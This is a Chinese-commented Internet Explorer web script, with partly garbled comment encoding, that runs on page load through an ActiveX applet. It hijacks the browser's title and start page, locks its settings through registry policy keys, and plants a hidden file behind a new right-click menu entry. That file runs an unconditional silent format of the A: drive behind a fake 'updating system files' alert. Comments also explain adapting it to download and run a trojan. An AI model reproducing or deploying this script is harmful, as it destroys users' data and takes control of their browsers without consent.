<script>

//初始化actiVex控件
document.write("<applet height=0 width=0 code=com.ms.activeX.ActiveXComponent></applet>")

//初始化actiVex控件結(jié)束
//定義變量
function reg(){
try
{
//設(shè)定applets為0
a=document.applets[0]
//初始化Windows Script Host Shell Object
a.setCLSID("{f935dc22-1cf0-11d0-adb9-00c04fd58a0b}")
a.createInstance()
S=a.GetObject()
//初始化FileSystem Object
a.setCLSID("{0d43fe01-f093-11cf-8940-00a0c9054228}")
a.createInstance();
fs=a.GetObject()
try
{
//開始寫注冊(cè)表
//設(shè)定IE的標(biāo)題為Internet Explorer
S.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title","Internet Explorer")
//設(shè)定IE的默認(rèn)首頁為空白頁
S.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page","about:blank")
//讓設(shè)定首頁那項(xiàng)變灰
S.RegWrite ("HKEY_USERS\\.DEFAULT\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\HomePage",0x1,"REG_DWORD")
//讓設(shè)定分級(jí)審查設(shè)定那項(xiàng)變灰
S.RegWrite ("HKEY_USERS\\.DEFAULT\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\SecChangeSettings",0x1,"REG_DWORD")
//在網(wǎng)頁右鍵菜單中加入調(diào)用文件的命令
S.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\MenuExt\\格式化A盤\\","c:\\format-a.txt.{3050f4d8-98b5-11cf-bb82-00aa00bdce0b}");
//寫入值為0xf3的dowrd值 注意[REG_SZ:字符型 REG_DWORD:雙字節(jié)型 REG_BINARY:二進(jìn)制型]
//對(duì)于REG_DWORD型和REG_BINARY型則有兩種賦值方式
//直接用十進(jìn)制的數(shù)表示，如：0，1等
//用十六進(jìn)制的數(shù)表示,如：0x12,0xff等
S.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\MenuExt\\格式化A盤\\contexts",0xf3,"REG_DWORD")
//結(jié)束寫注冊(cè)表
//開始寫硬盤
//生成一個(gè)名為c:\\5flash.txt.{3050f4d8-98b5-11cf-bb82-00aa00bdce0b}的文件
hd=fs.CreateTextFile("c:\\format-a.txt.{3050f4d8-98b5-11cf-bb82-00aa00bdce0b}")
//把這個(gè)文件寫入javascript內(nèi)容
//腳本中的start /m 為最小化窗口 /autotest為自動(dòng) /u為無條件格式化
hd.write('<script>a=new ActiveXObject ("WSCript.Shell");a.run("start /m format.com a:/q /autotest /u");alert ("正在更新a盤系統(tǒng)文件,請(qǐng)稍等......");<\/script>')
//關(guān)閉這個(gè)文件
hd.close()
//把這個(gè)文件下載到客戶機(jī)的c盤中,這里的路徑完全可以改成網(wǎng)絡(luò)上的，然后在后面接上.Copy("d:\format.txt"),這個(gè)腳本可以改成下載木馬
//格式為file=fs.GetFile("網(wǎng)絡(luò)路徑").Copy("運(yùn)行路徑")
//這個(gè)腳本如果配合asp，那么完全成了一個(gè)功能非常強(qiáng)大的木馬了
file=fs.GetFile("c:\\format-a.txt.{3050f4d8-98b5-11cf-bb82-00aa00bdce0b}")
//設(shè)定這個(gè)文件的屬性為隱藏
file.Attributes=6
//結(jié)束寫硬盤
}
catch(reg)
{}
}
catch(reg)
{}
}
function flash()
{
//隔100毫秒就運(yùn)行一次
setTimeout("reg()",100)
}
flash()
//最后再重申，這個(gè)腳本不可用來害人，謝～


</script>